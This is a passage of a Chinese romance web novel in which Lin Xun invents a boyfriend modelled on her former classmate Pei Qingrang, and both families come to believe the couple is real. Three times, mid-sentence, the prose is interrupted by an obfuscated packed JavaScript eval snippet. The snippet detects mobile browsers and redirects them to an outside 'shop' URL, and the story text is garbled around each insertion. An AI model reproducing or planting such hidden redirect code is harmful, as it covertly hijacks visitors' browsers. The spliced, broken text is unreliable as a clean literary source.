而高中那年最后一次见到他,却让她记忆深刻。 高考结束的六月,一边是自己因为没有见到外婆最后一面陷入极度内疚自责,另一边,是父母在为她的高考成绩喜出望外,甚至不顾她的意愿为她选好了专业、学校、今后的路。 出国前一天,她整个人被巨大的痛苦和无助笼罩,无处发泄。 在蒋政还有机关大院几个发小提议给她送别的时候,她同意了。 他们一起去的是正规酒吧,同学家里开的。 就算不喝酒也可以喝果汁,还有乐队演出,听说兼职的鼓手帅得人眼晕。 刚高考完的小崽子们,初来乍到看什么都新奇。 没一会儿就玩到忘我,她一不小心成为落单的那个。 还没看到那个巨帅的架子鼓鼓手,林姰中途去了一趟卫生间——卫生间和酒吧隔了一条巷子。 没想到在那条巷子口,看见一道修长暴戾的影子,男生的身形有种少年人抽条太快导致的清瘦,仍旧拳拳到肉,最后拎着那人的衣领狠狠往地上一摔。 林姰愣在那里,却和直起身回头的人猝不及防目光相撞。 血迹在他英俊冷白的面孔上显得尤为触目惊心,他的手甚至还在流血,深红和皮肤的颜色形成强烈对比。 似乎没想过会被人撞见,对视的瞬间他怔在那里,那双天生冷漠的眼睛里,恍惚之间有了无措的情绪,被浓密的睫毛掩盖着,看不分明。 “你要出国了。” “需不需要帮忙?” 两人同时开口。 他的眼角、嘴角都是擦伤的痕迹,黑色碎发凌乱地落在额头,唯独那双睫毛浓密的眼睛,瞳仁浸着泉水般明亮,甚至有些湿漉漉的,以至于让这个刚刚打完架一身戾气的少年,看起来像一只委屈的狗狗。 林姰捡过一只流浪狗,妈妈说要把它送走的时候,狗狗就是这样的眼神。 她下意识“嗯”了一声。 他没有再说话,只是跟她错身而过的时候,冷淡警告:“以后少来这种地方。” “林姰!你没事吧?” 蒋政急匆匆跑过来,手里拎着她的包:“我们走吧,这地方太乱了,治安太差了。” 在路边等车的时候,蒋政说在她去卫生间的时候,有人在她的饮料里下了东西,还好被他及时发现。 凉意顺着脊椎攀爬肆意蔓延,林姰周身发冷,上车的时候脑袋都是空白的。 她止不住地后怕,车子拐弯的时候,眼角余光猛然瞥见后视镜里苍白清瘦的少年,靠在酒吧门口,一圈一圈往手上缠绷带,沉默冰冷像漂亮的雕塑。 他的伤严重吗? 他是因为什么和人打架的? 乐队兼职的鼓手真的很帅吗? 这些林姰通通没有办法知道,因为第二天她就出国了。 那个传说中高考之后最快乐的夏天,以痛苦开头,以痛苦结尾,变成一根扎在心底的刺,永远不会消失。 - 翌日,周六。 林姰和裴清让约好早上七点在小区楼下见面,他来送她的手机。 让人大老远跑来,他比约定时间提前十分钟下楼,想着起码请人吃个早饭。 只是当她推开楼门,裴清让已经等在那里。 不同于新闻发布会上的正装,男人额前黑色碎发没有打理,身上白色T恤罩着宽肩,搭配黑色运动裤,俊出了少年气,往那一站就很男模——正经不让碰的那种,肩宽腿长,比例惊人。 往来的女孩看他的人,男孩看他的车,弄得林姰这个财迷想搬个小板凳去他旁边收费,被路人白嫖美色不如被老同学白嫖。 眼下,她快步走过去:“等很久了吗?” “没有,刚到。”裴清让把手机递给她。 林姰归还他的手机,不知如何措辞:“那个……” 他低头,眼神询问她没出口的后半截话。 离开昨天包厢里昏暗的光线,他的眉眼细节都清晰,五官漂亮到凌厉的地步,近看简直是给人心脏重重一击,就算你不喜欢他,也很想对他做点什么。 林姰继续说:“昨天你妹妹打电话来,我以为是你,接了她的电话。” 春末夏初,她绑着马尾素面朝天,在家穿的运动服都没换就直接下楼,那双总是坦荡无畏的眼睛里,难得有种不小心做错事恳求原谅的认真。 裴清让压低视线,看着她的眼睛说:“没关系。” 林姰蹙眉:“但她好像误会了。” 裴清让还没有说话,林姰却听见一道熟悉的声音,心脏陡然一提。 她住的机关大院,是当年单位分的房子,这种小区走两步就是一个同事。 “崔处,锻炼回来啦?” “是,天天上班坐着都发福了,赶紧出来走走。” 跟妈妈聊天的人,是妈妈曾经的同事刘阿姨,两人同年进单位,年轻时针锋相对。 某次提拔干部,两人都在考虑范围,只是崔美珍女士怀着林姰马上就要休产假,因此落败,之后心里一直憋着口气,处处要跟人比,一开始是比丈夫,后来是比子女,现在已经到了比女婿的阶段。 本来林姰是想请裴清让吃个早饭的,毕竟大清早的人家亲自跑来一趟。 但显然,此地不宜久留——昨天她刚照着裴清让给自己虚构了一个男朋友,今天被妈妈遇到正主,万一真的误会就不好了。 林姰的语速不自觉地加快:“谢谢你把我的手机送回来,有空我请你……” “吃饭”两个字还没说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172431|150499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完,妈妈的脚步声已经越来越近,耳朵精准捕捉到刘阿姨一句:“你们家林姰还没找对象呢?” 崔美珍女士笑笑说:“这事儿是我没搞清楚,她天天喊着不婚不育、恐婚恐育,我以为她是要自己过,没想到人家已经谈上男朋友了……” 林姰本来就提着的心脏,这会儿被吊得更高,以至于不知道自己现在该作何反应。 她仰起脸,撞上裴清让冷淡锋利的眼睛。 “这么巧?不会是骗你的吧?现在的年轻人主意大着呢!以前不就有新闻吗,租个女朋友回家过年!” 崔美珍昨天已经充分查证,这会儿态度坚定:“不能,改天让她带回来给你看看,小伙子挺优秀的,清华本科,麻省理工硕博,听说自己开公司。” 一波未平,一波又起。 林姰想要伸手捂住裴清让的耳朵,已经彻底来不及。 那能不能把他打晕塞进车里?苍梧的法务部门会相信是意外吗? “林姰?” 妈妈的声音在身后响起,林姰痛苦地闭了闭眼。 见女儿高中毕业之后、身边第一次有异性出现,崔美珍女士快步走上前。这一看,就没挪开眼。 清瘦且白的青年人,近一米九的身高,身形挺拔如剑。 一般形容男孩子都用“帅气”,但眼前的年轻男人却能称得上“漂亮”,倒不是说女气,而是实在太标致了——五官深邃立体,皮肤冷白发透,微微颔首、跟她问好,真的是唇红齿白。 崔美珍有点眩晕,转头看林姰:“不介绍一下?” 于是林姰硬着头皮介绍了一下,声音像蚊子:“高中同学。” 崔美珍女士大喜过望:“就是你昨天提的那个高中同学?” 林蚊子赶紧打住:“不,他不是。” 崔美珍看了一眼自己的同事老刘,老刘正状似不经意地往这边瞅,八卦写在脸上。 她的虚荣心有点爆棚,丈夫的容貌岂止是妻子的荣耀,也是丈母娘的荣耀,语调也不自觉地高了些:“小伙子,你在哪上的学?” 裴清让:“清华。” 崔美珍的语气继续升高:“硕博呢?” 裴清让很好脾气地回:“麻省理工。” 崔美珍嘴角的笑意都压不住了。 “做什么工作?” “芯片研发。” 崔美珍女士感叹:“高科技行业啊。” 林姰庆幸崔美珍女士没有刨根问底是那一家公司,不然裴清让好歹算个公众人物,毁人清誉就不好了。 只不过崔女士问了另外一个问题:“你们公司总部搬迁了?” 裴清让应声:“是。” 崔美珍这下是一点怀疑没有了:“我本来以为你不想相亲,捏造了一个男朋友骗我呢!” 林姰垂死挣扎:“妈,他真的不是……” 崔美珍对裴清让满意得不行,个高腿长皮肤白皙那张蛊惑人心的俊脸能直接送去出道,海归背景读的还是麻省理工,可真是,哪儿哪儿都挑不出毛病。 “不是什么不是,全都对得上,”崔美珍无语,“昨天还说人家被你迷得神魂颠倒总部直接搬到晏城,现在知道害羞了?” 算了,毁灭吧。 林姰再对上裴清让的目光,已经无心欣赏美貌。 只想说你能不能自己把耳朵捂上,我是为你好。 “林姰回国以后我给她介绍了多少,哪个都不喜欢,成天嚷嚷着不结婚,为此没少跟我闹别扭,本来她说她有男朋友我还不信呢……” 林姰彻底放弃挣扎。 “还没吃早饭吧,来家里吃吧!” “妈不用,我请他出去吃……” “都到家门口了,小伙子怎么称呼?” “阿姨我姓裴,裴清让。” 妈妈一边念叨着这个名字有些熟悉一边上楼:“我先上去做饭了,你俩聊够了快上楼。” 见刘阿姨还在不甘心地张望:“老刘,女婿上门,你来我家一起吃?” 刘阿姨脸色不怎么好,干巴巴笑着:“恭喜啊,找了这么好的女婿。” 事情好像朝着失控的方向发展了。 果然,人生如戏,不是没有道理。 林姰的CPU已经烧了。 她不知道现在,应该为妈妈的言语冒犯跟裴清让说“对不起”,还是为他没有当场反驳自己不是她的男朋友说“谢谢你”。 好半天,她才开口,声音里有种不想在世久留的尴尬:“我妈一直催我相亲,我给自己虚构了一个男朋友,现在误会了……” “所以,你这个男朋友,”裴清让居高临下睨着她,清澈眼底似乎有笑,瞳仁漆黑发亮,“照着我虚构的?” 5. 第 5 章 ——所以,你这个男朋友,照着我虚构的? 高中同学里,清华本、MIT硕博,毕业后开公司,甚至,公司总部刚刚搬迁到晏城……除了裴清让,还能找出来第二个吗? 死脑子,快想啊。 可是死脑子CPU崩溃了—— 这样头脑顶尖的天之骄子,藤校毕业放弃国外优渥待遇,怀着一腔爱国心回国创办芯片公司的,确确实实就只有他裴清让一个而已。 林姰顶着这人略带调侃的视线,心如死灰:“准确地说,是从你身上找了一点点灵感……” 裴清让拖长语调,“嗯”了声,有种散漫的痞劲儿,就这么一个简简单单的字音都显蛊惑。 他漆黑深邃的瞳孔,在阳光下会显出一点不明显的灰蓝,更加清透,是正中林姰审美的眼睛好看的男人。 只是眼下情况棘手,她无心为美色倾倒,摆在她面前的有两个选择。 一是冲到妈妈面前,告诉她男朋友是自己虚构的,裴清让是八竿子打不着的,你相中的女婿是万万不可能的,你刚才当着刘阿姨的高调行为、日后会成为你在单位的笑柄。 这样做的后果是,之后很长一段时间,她会被安排高密度相亲日程,并且一直持续到她结婚,她说什么妈妈都不会相信。 另一个选择是,蹬鼻子上脸,反正已经很尴尬了,再尴尬一点还能怎样? 林姰这人,敢拼敢想,从来不怂:“我可以按照出场次数给你日结工资。” 裴清让似乎没想到还有人要给他日结工资,目光一垂:“这是赖上我了?” 他人还是冷淡,可轻缓的声线里似乎有种说不清道不明的纵容,勾着的嘴角看起来很软,给她一种错觉,错觉她真的赖上他也没什么不可以。 但她深知,裴清让不是这样温柔好欺负的人,而商业谈判的关键,是彰显自己的价值。 林姰坦诚直白:“昨天误接你家里人的电话,好像她们也催你催得挺紧的,如果你也不想相亲的话,我可以帮你。” 不同于此时进退两难的自己,裴清让不驯又漫不经心:“怎么帮?” “看你需要,”林姰抿唇,“现在已经欠你一次。” 这个点正是晨练赶早市的时候,街坊邻居看到两人,很难不误会:“这是林姰带男朋友回来了啊?” 正好崔女士见两人迟迟不上门,下楼叫人:“小裴大老远来一趟,你让人家在楼下站着是怎么回事儿?” 邻居笑着祝贺:“果然之前是缘分没到!老崔你看把你急的!” “谁说不是呢,想到她没对象我就愁得睡不着觉,这下好了,人家自己谈上了……” 崔女士已经笑了一个早上,林姰看着都累。 “小裴,事先不知道你来,阿姨没来得及准备,早饭吃小笼包可以吗?” 在长辈面前的裴清让,有种林姰从没见过的谦卑乖巧:“谢谢阿姨,我都可以。” “昨天林姰跟我说她有男朋友,我还以为她蒙我呢,没想到今天见到真人了。” 这顿早饭吃得比上班还要心累一万倍。 饭后林姰赶紧说裴清让还有事,不然她怕崔女士下一句话就是:你们打算哪天结婚? 楼门在身后关上,林姰紧绷的脊背慢慢松懈下来,人颓废得堪比加了两周班:“谢谢你帮忙。” 两人视线相对,裴清让眼神平静没有情绪:“一直在相亲?” 林姰“嗯”了声:“我妈老思想,托你的福,现在能消停一段时间。” 裴清让:“一段时间之后呢?” 林姰无所谓:“走一步看一步吧,就算谈了也有分手的时候。” 真心瞬息万变,她向来不相信爱情这种看不见摸不着的东西。 “之后不会麻烦你了,我会说你调动了、出国了、我们分手了,”林姰信誓旦旦,“我最近在找祝余帮我物色对象,打算找个人办个假婚礼假结婚。” “假结婚?”他像是不可置信。 视线再次对上,无可挑剔的精致眉眼,视觉冲击强悍。 林姰感叹这个男人真的太干净,那种生人勿近的清冷劲儿,让他看起来完全没有七情六欲。 林姰语气轻快:“假结婚多好,以后就不会被念叨了,等时机合适就一拍两散,多省事儿。” 面对催婚,她本可以像之前出国,一走了之。 可是,妈妈是外婆的女儿,外婆离开前最放心不下的人。 外婆不在了,妈妈已经没有依靠,她不可以像别人一样伤害她。 - 周末两天林姰哪儿都没去,窝在出租屋查期刊看文献。 分析报告写了上万字,全面比对「图南一号」和进口芯片的算力性能各方面表现。 周一一上班,报告先是提交给分管产品的副总裁马鸣。 之后,马鸣又一个电话打过来,让她一起去老大的办公室汇报。 “……「图南一号」的算力较之前提升10倍,性能完全可以和进口芯片一决高下,结合公司过去三年的财务报表,我认为放弃进口芯片、采用国产芯片,不失为降本增效的有力手段。” 图表清晰,有理有据,老大相当满意地“嗯”了一声。 马鸣惯会见风使舵:“这篇分析报告我和林姰周末加了两天班,分析数据分析得我老眼昏花……” 我看你不是老眼昏花,是头脑不清——梦里跟我加班的吗? 自己的工作成果被人抢功,林姰简直想揍人。 然而她还不能跟他撕破脸,因为老大作为领导层不会共情牛马,只会站在马鸣这边。 “裴清让是不是从不参加私人饭局?上次车企的人想跟他接触吃了闭门羹。” “年轻气盛,不够圆滑,更别提现在是‘春风得意马蹄疾’,多少资方上赶着给他送钱。” 林姰抱起电脑不想久留:“领导,我先回去了,还有个Prd没写完。” “等一下,”马鸣叫住她,“老大,裴清让别人请不到,但我们能请到。” “怎么,你跟他有交情?” 马鸣笑眯眯道:“林姰和裴清让是高中校友。” “哦?”老大直接指示,“林姰,你看你作为高中同学,能不能当个中间人?” 马鸣别有深意地说:“拿下这次合作,推出和苍梧科技合作的智能座舱,不光乐游会成为行业领军,对你今后的升职也大有益处!” 领导画的饼,听听就行了。 只不过产品负责人已经空缺很久,提拔关键期,她的命运直接被面前两位握在手里,另外,还有个同年校招进公司的陈万豪,虎视眈眈地盯着,听说背地里找了不少关系。 林姰不能不应下:“我会尽力。” 苍梧科技十七楼。 李明启把手里的资料往裴清让的办公桌上一放:“见着人了?” 裴清让没理他,只是翻开那一沓资料,俊脸冷若霜雪,跟天生不会笑似的,这么一座冰山,办公室温度都比外面低五度。 李明启自知从他嘴里撬不出半个字,开始说正事:“这是有合作意向的算法公司和老牌车企,还有一些欠点火候的,比如你手里的那份乐游科技。” “这家公司算法出身,三年前开始拓展智能座舱业务,合作车型上市销量都挺一般,营业利润也快成负数了,我是不太建议,但他们的AI大模型又实在厉害。” 裴清让把那份写着乐游科技的材料放回去,拎起车钥匙:“我知道了,下班吧。” - 裴清让刚到家,身上西装都没来得及换,裴樱已经从房间里冲出来:“哥!坦白从宽抗拒从严!那个接电话的姐姐是谁?” “没谁。” 裴樱思忖了下,“没谁”这个说法就很微妙,本来哥哥可以说同事、同学、朋友的。 她倒背着手,明明是审讯的姿态,偏偏个子矮、脸又实在可爱,在一身正装的亲哥面前完全就是个小学鸡:“不是你的女朋友吗?” 裴清让把她拎到一边:“不是。” “哟,大忙人回来啦?”盛秋云从厨房出来。 裴清让看了眼她挎在手臂的帆布包:“奶奶,您要出门?” 盛秋云笑道:“我去买些菜,你都多久没在奶奶这里吃过晚饭了。” 老太太是恢复高考后的第一批大学生,毕业从医,退休又被医院返聘,生活朴素,坚决不同意裴清让请阿姨伺候她,凡事亲力亲为,这样才觉得自己“活着”。 裴清让晃了晃手里的车钥匙,轻轻扬眉:“那我给您当司机。” 到了超市,裴清让推着购物车。 老太太边挑选蔬菜,边打探:“昨天那个接电话的女孩真不是你的女朋友?” 裴清让无可奈何:“真不是。” “我就知道,”盛秋云根本不意外,“我们外科今年新来了一个小姑娘,对病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172432|150499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人特别有耐心,你要不要认识一下?” “不了。” “你也到了该成家的年龄了,”盛秋云并不气馁,“你要是不喜欢医生,我还有个学生今年刚评上副教授,下次她来咱们家你见见?” 裴清让个子太高,微微俯身听身边的老人絮絮叨叨:“奶奶,遇到喜欢的人,才是该成家的年龄,而不是到了年龄,就随便找个人结婚。” “你可千万别跟你导师学,他千好万好就是不结婚这点不好,我有时候睡不着觉的时候就想,如果当初他身边有个人,是不是就不会这样了……” 提起那个人,裴清让的眉眼瞬间黯淡下去。 当他再开口,声音里不再有玩世不恭,甚至是认真得像承诺:“您放心,我会尽快成家。” 盛秋云点头:“这就对了。” 崔女士下班时临时有事,让林姰帮忙接弟弟放学。 姐弟俩前脚到家,崔女士后脚回来:“今天别走了,在家吃晚饭吧,你爸出差了不会回来。” 林姰应声说好,崔美珍放下公文包:“想吃什么?我们去超市逛逛。” 和妈妈逛超市这种温馨画面,记忆里少有,林姰有意想要修复母女关系,听之任之。 “你下班都不约会吗?” 林姰差点忘记自己还有个“假男朋友”:“他出国了。” 先铺垫一下,等下次妈妈再问,就是聚少离多,已经分手。 超市零食区,几个女孩躲在架后后面,语气兴奋,偷感很重:“那男的好帅啊!腿都快到我肚脐了!” 崔美珍比林姰还颜控,不然当年也不会和一穷二白的林姰她爸结婚,闻言也状似不经意地抻着脖子瞅了眼。 “哎?那不是小裴吗?你不是说小裴出国了吗?” 不会这么巧吧…… 男人瘦高挺拔,在人群中优势是碾压性的,白衬衫黑色西装裤衬得他肩宽腿长,比例惊人,就算不看脸,也是个帅哥。 还真就这么巧。 林姰脸不红心不跳:“刚回来吧。” “小裴这样的青年打着灯笼都难找,出来逛个超市都能被人盯上,”崔女士拉着林姰往裴清让那边走,“你也不多关心关心人家,快去打个招呼!” “小裴!” 裴清让转身,看到崔美珍女士,和被她拉着的、不情不愿脸快要皱成苦瓜的林姰。 苦瓜努力扯出一个笑:“嗨。”显得更苦了。 裴清让难得勾着嘴角:“阿姨好。” 崔女士笑着问:“你从国外出差回来了?” 裴清让微怔,片刻后心下了然。 调动、出国,下一步就是分手,现在他的进度条在出国这儿了。 他很配合地“嗯”了声。 “清让,遇到同学了?” 头发花白的圆脸老太太提着两袋挑好的蔬菜,放到裴清让面前的购物车。 崔女士问:“您是小裴的……?” “奶奶,”盛秋云温和笑着,“您是?” 崔女士猛然意识到,两人在一起没多长时间,所以小裴还没和家里说。 那既然遇见了,就没必要藏着掖着了:“咱两家的孩子现在处对象呢!” 盛秋云又惊又喜,拍了一下裴清让的手臂:“这么好的事儿,你怎么都不和我说?” 转头又亲亲热热看着林姰:“难怪给他介绍女孩子,他连看都不看,原来是心里有人了!” 林姰硬生生扯出一个笑:“奶奶好。” 他心里可能的确有人,但不是我啊! 盛秋云又瞪了裴清让一眼:“还说自己没有女朋友!你害什么羞啊!” 而后,崔美珍拉住老太太的手,亲亲热热聊了起来。 林姰目光低垂无处安放,自然而然落在他挽起衬衫长袖露出的半截手臂,清晰流畅线条干净,青色血管有种隐忍不发的力量感,而那双修长禁欲的手,让人忍不住好奇触感,是不是很好牵。 雪后松林的香气清寒凛冽,落在鼻尖,是他往她这一侧靠了半步。 那只看起来很好牵的手,就在自己手边,林姰仰起脸,对上裴清让垂落的目光。 男人平日里冷淡锋利的眼睛,难得有几分玩世不恭,散漫而又肆意,只一个眼神就很勾人了。 “说好帮忙的,”他低头,把他自己交付到她手里般,用只有两人能听见的声音轻轻说了句:“看你的了。” 6. 第 6 章 ——说好帮忙的,看你的了。 距离太近,近到她能读出他的唇语,这个人眉骨鼻梁和下颌的线条都冷硬凌厉,为什么微微上扬的嘴角会看起来很温柔。 而那道嗓音因为压低,有些轻有些软,字音长了小翅膀似的往她耳朵里钻,动听得像恋人间缱绻的情话。 林姰不着痕迹捏了捏耳朵,指尖温度明显升高。 所有错误的开始,是她给自己虚构了个男朋友,那么被无辜牵连的裴清让,理应自己负责。 更何况,上次他帮了自己,她不想欠人情。 所以在奶奶笑着看向她的时候,她抿出一个笑:“奶奶好,我是裴清让的……” 后面三个字有点说不出口,她还没有恋爱经验,就直接跳到了见家长,动作生硬,表情生疏。 倒是话题中心的另一个人,禁欲不可侵犯,只是眼底微微漾着笑,瞳仁清泉浸过似的漆黑透亮,好整以暇的模样有些勾人。 仿佛在说:你是裴清让的谁? 那是少年人才会有的、捉弄人的促狭。 林姰深吸口气才将话说完整,是清脆利落的三个字:“女朋友。” 盛秋云高兴得不知道说什么好:“我这颗悬着的心啊,终于可以放下了。” 她对于催婚的执念,并非是老思想的、人必须传宗接代,而是一生这么长,难免有走入绝境的时候,家里有人等着,就能有个念想。 她几乎是看着裴清让长大,从少年到青年,偶尔半夜失眠,忍不住担心他走到今天这个位置,春风得意,风光无两,但是高处不胜寒。再往上走,多的是身不由己的事情,会不会步他导师的后尘。 现在,林姰在她面前。 盛秋云这个岁数什么样的人没见过,一下就看出这姑娘心眼很正,眉毛比一般女孩浓、也细长,透着倔强不屈的生命力,往那一站就很坦荡明亮。 裴清让心里藏着这样的女孩子,哪还能看得上别人。 盛秋云瞥了眼裴清让,语气里没有半分责怪:“不是说没有女朋友吗?看我天天着急上火你很开心是不是?” 裴清让笑着垂眼,双眼皮褶皱很深,睫毛长得令人发指,恐怕接吻的时候都能戳到人。 “还没想好怎么说。” 林姰简直要怀疑他念的不是麻省理工,而是电影学院。 这个看心上人的的温柔眼神能列入表演系教科书,对视的瞬间她这个假女朋友都忍不住心跳怦然。当然也可能,是这双有混血基因的眼睛本来就含情。 “还说自己是不婚主义,我说你就是没有遇到喜欢的,不然哪有什么不婚主义?” 裴清让是不婚主义?现在的长辈肯定对不婚主义接受无能,难怪他需要自己帮忙。 崔女士遇到同盟相见恨晚:“我家这个也是,我托人给她介绍了多少,见一个拉黑一个!” “这么巧遇到了,来奶奶家里吃饭吧?” 奶奶握住林姰的手,掌心干燥,指腹似乎还有薄茧,那种温暖的粗糙感和外婆的手很像。 如果外婆还在…… 也是这个年纪,也是这样和蔼可亲。 “好不好?” 崔女士替她应答:“会不会太给您添麻烦了?” 老太太爽朗道:“麻烦什么?以后都是一家人,一家人不说两家话。” 崔女士脑子转得飞快,嘴角快要咧到耳朵根,怕是自己现在要领证她也能联系民政局来加班。 她给林姰使眼色:“那正好,我晚上还要去单位审个文件,你就跟着奶奶回家吃!” - 裴清让的奶奶家,在临江别墅区,真正意义上的寸土寸金。 林姰记得之前有人以为这里是景点,拍了视频发到网上。 视频拍到一半大门打开,一辆黑色越野车缓缓从院子里开出来,隔着屏幕压迫感扑面而来。 博主这才意识到,原来这栋房子属于个人。 当时视频下面点赞最高的评论是:【住在这的人有烦恼吗?】 林姰虽然是个财迷,但只爱自己的钱。 她没有什么远大志向,只想赚够钱,买回小时候和外婆住的房子,所以她拼命工作,为了升职加薪,任何委屈都可以咽进肚子里。 车开进院里的下一刻,门从里面推开。 林姰猝不及防,和捧着平板的小姑娘四目相对。 裴清让下巴一扬:“我妹,裴樱。” 小姑娘看看裴清让又看看她,瞪圆眼睛语无伦次:“电话、哥哥、女女女朋友?” 林姰恍然,原来裴清让还有个小他这么多的妹妹,作为曾经的同班同学,她都不知道。 都带人回家了!裴樱像只充了气的气球:“你连亲妹都骗!还说不是女朋友!” 当她转头看向林姰,又是一副乖顺模样:“姐姐好,我叫裴樱。” 林姰落落大方:“你好裴樱,我是林姰。” 裴樱眼睛亮亮的:“姐姐,你的耳朵好像精灵!” 林姰不笑的时候很冷,笑起来就很灵:“从小就比别人的耳朵大,所以小学外号叫图图。” 裴樱一眼就喜欢上这个看起来高冷其实很好相处的姐姐,按说从小亲哥就把她的审美养得很刁钻、对好看的人应该免疫了才对,但还是觉得姐姐好漂亮好像精灵她好喜欢。 除此之外,她还觉得她很眼熟,有种说不上来的亲切感,却不知缘由。 盛秋云笑着招呼:“别傻站着了,去给姐姐倒杯柠檬水,我去洗水果,小林吃无花果吗?” 并不是很常见的水果,林姰颇有些意外:“我最喜欢无花果了。” “我去摘,”裴清让看出她的尴尬,低头问,“一起?” 如同获得特赦,林姰毫不犹豫说好。 妹妹想跟上来,被兄长警告:“不许跟上当电灯泡。” 裴樱瘪着嘴角:“那我去帮奶奶做饭。” 路上裴清让开车,奶奶又在旁边,两人一直没有找到说话的机会。 林姰好多话想说,比如眼下这种情况应该怎么处理…… 只是她还没有措好辞,视野转换,仿佛一不小心误入谁家花园。 目光所及,精心打理过的花草错落有致,石板路两侧成片绣球美得人呼吸一凝。 而让林姰目光一瞬定住的,是院落旁边那棵无花果树,枝繁叶茂,起码有二十多年树龄。 她站在树下,满树青色果实和记忆深处的画面重合,忍不住低声喃喃:“小时候外婆家也有一棵无花果树。” 她最喜欢无花果,喜欢到外婆在院子里特意为她种了一棵树。 她可以霸占整棵树的果实,用透明的饭盒装着带到学校,和祝余一人一个叉子分食。 无花果很难保存,她又实在喜欢,外婆就把无花果剥皮、装好,放到冰箱的冷冻层。 只不过是为了看见她吃第一口时,因为太过开心笑弯的眼睛和皱起的鼻子。 高考冲刺的五月是无花果大量上市的季节,她却因为学习太忙一整个月没有去外婆家。 后来外婆去世,家里到处都是腐烂变质的味道,她循着味道的来源打开冰箱,猝不及防看到一整个冷冻层的无花果。 那是外婆离开前,想着自己的宝贝外孙女,一个一个摘下、洗净、剥皮、切好保存下来的。 或许那个时候,她以为她还能等她放学回家。 再之后,林姰出国,总是找各种理由不回来。 等她回来的时候,承载她所有回忆的老房子已经被卖掉了。 每每想念外婆,她都会去那走走。 听说房子几经转手,最后一次被人高价买下,院子有人定期打扫,却无人居住。 那棵外婆为她种下的无花果树已经不见踪影。 或许新的房主不喜欢——无花果,这个名字听起来不吉利,不能栽在家里。 也或许是因为,它早就因为无人照料枯死,所以被当做垃圾扔掉。 月光下,无花果树肆意生长,空气里的清甜果香和记忆里一模一样。 它一定遇到了心软的主人,被人悉心照料,给足光照,才能长得这样好。 如果外婆家的无花果树,也能遇到裴清让…… 林姰的目光,从那只摘果子的、修长骨节分明的手,到他人本身,裴清让身上质地考究的白衬衫罩着宽肩,往下腰身收窄长腿笔直,画面美不胜收。 他身上有种不属于这个年龄的干净,像暴雨洗过的绿植,也许是因为专注研发,也许是因为太过清心寡欲。 可越是这样干净,就越是惹人亵渎。 等她回神,裴清让已经摘了太多,她连忙阻止:“吃不了这么多,摘下来存不住会浪费。” 裴清让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172433|150499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理所当然道:“那就带回家。” 林姰有些不好意思:“上门做客两手空空,还要带着礼物走。” 刚摘下的新鲜果子,清甜气息扑面而来。 林姰忍不住弯起嘴角,眼眸明亮,只是看着都很高兴。 裴清让轻扬眉:“喜欢?” 林姰毫不犹豫:“嗯。” 裴清让挽起衬衫袖口准备去洗手,漫不经心回了句:“你喜欢就是回礼了。” 心脏像是被羽毛轻柔拂过。 有那么一个瞬间,林姰觉得裴清让应该是个不错的假结婚对象,冷静、话少、清清爽爽,每天看着那张帅脸,合作起来应该身心非常愉快。 但是天之骄子如他,怎么可能心甘情愿、平白无故被人利用,更何况他心里好像还有白月光。 “裴清让。” “嗯。” “现在这种情况,你打算怎么办?” 裴清让把手洗净、擦干:“你怎么想。” 那天和妈妈虚构男朋友的时候,林姰没想过事情会发展到今天这个地步,现在都把奶奶牵扯进来。 奶奶甚至还在因此开心,忙里忙外请她这个假女朋友来家里吃饭,让她这个罪魁祸首十分愧疚。 然而,他们不可能一直这么下去。 如果裴清让跟她一样是个普普通通上班族,婚姻不牵扯资产股权公司利益,她或许真的会见色起意提出合作。 但裴清让不是。 她很为他着想:“找个合适的时机,我们就说已经分手了吧? 裴清让睨她一眼,勾着嘴角说:“你倒是写好剧本了。” 林姰抿唇:“总不能一直演下去。” 裴清让:“分手原因呢?” 林姰:“感情不和?你腻了我了?” 裴清让点头,被气笑:“很好,我还是个渣男。” 其实你看起来就很像,让无数女孩子伤过心的那种,只不过林姰不能恶人先告状。 他继续问:“之后呢?” 林姰坦白自己处境艰难:“你应该也看出来了,我一天不结婚我妈就不会罢休,所以我会按照原先计划,尽快找个人假结婚。” 裴清让垂眸:“一定要结婚?” 林姰点头:“办办酒席,骗骗家人,需要的时候出现一下,我给他日结工资。” “为什么是假结婚?” “因为不觉得结婚是一件很幸福的事情,随之而来的只有无穷尽的麻烦。” 她不相信婚姻,不相信爱情,从来没有喜欢过什么人,也不相信一个人可以一辈子爱另外一个人。 不是说再恩爱的夫妻,也会有想要掐死对方的冲动吗?她觉得这样的生活一地鸡毛很恐怖。 “你呢?为什么和奶奶说是不婚主义?” 裴清让不咸不淡回了句:“没有喜欢的。” 那他本质上和自己不同,他起码还相信“喜欢”这件事,林姰干脆利落道:“那我们就到此为止吧,说不定哪天你就遇到喜欢的了。” 